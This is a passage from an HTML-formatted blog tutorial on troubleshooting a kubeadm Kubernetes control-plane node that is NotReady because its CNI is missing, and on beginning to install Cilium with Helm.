#6CB6FF\"\u003e-a\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIMAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e               \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCREATED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e               \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eATTEMPT\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePOD\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eID\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePOD\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e8322192c4605c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebd8cc6d582470\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e36\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eseconds\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e344\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ec4f7fffbe8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e30ce27c40adb2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e81\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ea4a8a4ac639\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eExited\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-controller-manager\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ea819c3a864b2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-controller-manager-controlplane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e7709fd5e92898\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebd8cc6d582470\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eExited\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e7\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecc6922c82015\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e10432b81d7c61\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3767741\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ee7fba7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eExited\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-apiserver\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ee64ddf3679d98\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekube-apiserver-controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ewhich will show you pods that have exited. You can grab the container ID for\nkube-apiserver and read its logs:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrictl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10432\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eb81d7c61\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThere are a few ways to figure out why the node isn’t ready yet.  Usually I would check the\n\u003ccode\u003ekubelet\u003c/code\u003e logs first:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejournalctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-flu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e--\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLogs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebegin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2022\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-04-17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:22:19\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAST.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:15\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eE0417\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:15.951350\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetworkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:20\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eE0417\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:20.952148\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetworkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIt is clear the problem is that we are missing the CNI.  The other way you can find out what is\ngoing on is describing the node:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edescribe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will have a lot of information but if you scroll through there looking at \u003ccode\u003eReason\u003c/code\u003e you\nmight see something useful.  In this case under \u003ccode\u003eLease\u003c/code\u003e you would see:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edescribe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNotReady\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eFalse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSun,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2022\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:37\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-0400\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSun,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2022\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:43:07\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-0400\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eKubeletNotReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eruntime\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetwork\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eready:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworkReady=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereason:NetworkPluginNotReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emessage:Network\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eplugin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereturns\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecni\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eplugin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einitialize\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets get our CNI installed, we’ll be using cilium!\u003c/p\u003e\n\u003ch2\u003eSetting up your CNI!\u003c/h2\u003e\n\u003cp\u003eCilium has great documentation over \u003ca href=\"https://docs.cilium.io/en/v1.9/gettingstarted/k8s-install-kubeadm/\"\u003ehere\u003c/a\u003e,\nbut I’ll walk you through it anyways.  I do recommend checking out their documentation so you\nare familiar with it.   We will use \u003ccode\u003ehelm\u003c/code\u003e to pull down the version of cilium we want:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://baltocdn.com/helm/signing.asc\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/helm.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-transport-https\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--yes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb https://baltocdn.com/helm/stable/debian/ all main\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/helm-stable-debian.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we can install cilium!  It is \u003cem\u003every\u003c/em\u003e important that you pay attention to the\ncompatibility of cilium with the version of kubernetes you are intstalling. Check\nthe compatibility list \u003ca href=\"https://docs.cilium.io/en/v1.12/concepts/kubernetes/compatibility/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: 